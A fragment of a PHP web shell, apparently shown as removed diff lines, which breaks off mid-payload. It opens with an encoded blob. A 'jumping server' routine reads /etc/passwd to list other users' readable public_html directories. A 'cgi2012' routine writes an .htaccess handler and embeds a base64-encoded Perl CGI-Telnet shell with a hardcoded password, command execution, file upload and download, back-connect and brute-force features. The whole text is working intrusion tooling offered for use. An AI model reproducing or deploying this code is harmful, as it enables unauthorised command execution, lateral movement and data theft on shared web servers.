29VfolVfBA7tm0hkuOvD2aVdMyscUE9wuOvD2aVb25idBAPkuOvD2aVBznfhTShDBCPkuOvD2aVdMyscUEiNUEmay9BWakkWAkHOUFpGXpjd250DB51cTShgWPLfMyZwe0IkuOvD2aVBzyfKXppcJilFMamDUImFoyzFZFSkuciFJLpGXPLcJE9wuY0Fl9ZcbnSCBYlhtFIkZXmkZxlGtILfMyZRtF7kZXLF3kjhUL7tJOiwe0IfukpdUilGtIJNUFJRtwmwJXLcJLpKXPLCJE9wuOZDB0PcbIPkZwmRtFJkZXLcJLpKXppcJILCUEiNUEmkZl7tJOXCbYzwe0Ikor7tm1lduYlDBCPkowIwT0IkZFpGXPLFoyzFZE9wtOJKXp9tMlMhtOXCbYzwe09wtFmhbShC29VfolVfBA7tm0hkoOifoydbUE9woyZFMy5htO1F2aZRtOXCbYzhTShgWp9tm0hgWpZcbO1FM4IkoOifor7tm0hKX==alVnRPIq
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=jumping" method="post">
- <?php
- echo '<html><head><title>JUMPING SERVER</title></head><body>';
- ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>[+] ERROR | SAFE MODE ON [+]</b>');
- set_time_limit(0);
- @$passwd = fopen('/etc/passwd','r');
- if (!$passwd) { die('<b>[+] ERROR | GA BISA BACA /etc/passwd [+]</b>'); }
- $pub = array();
- $users = array();
- $conf = array();
- $i = 0;
- while(!feof($passwd))
- {
- $str = fgets($passwd);
- if ($i > 10)
- {
- $pos = strpos($str,':');
- $username = substr($str,0,$pos);
- $dirz = '/home/'.$username.'/public_html/';
- if (($username != ''))
- {
- if (is_readable($dirz))
- {
- array_push($users,$username);
- array_push($pub,$dirz);
- }
- }
- }
- $i++;
- }
- echo '<br><br>';
- echo "<center><b>[+] KETEMU ".sizeof($pub)." MAHO"." [+]</b><br/><br/>";
- foreach ($users as $user)
- {
- $path = "/home/$user/public_html/";
- echo "<a href='?y=$path' target='_blank' style='font-weight:bold; color:#FFFFFF;'>$path</a><br>";
- }
- echo "<br>";
- echo '</center></body></html>';
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
- echo "<center/><br/><b></b><br><br>";
- mkdir('cgi2012', 0755);
- chdir('cgi2012');
- $kokdosya = ".htaccess";
- $dosya_adi = "$kokdosya";
- $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
- $metin = "AddHandler cgi-script .izo";
- fwrite ( $dosya , $metin ) ;
- fclose ($dosya);
- $cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmU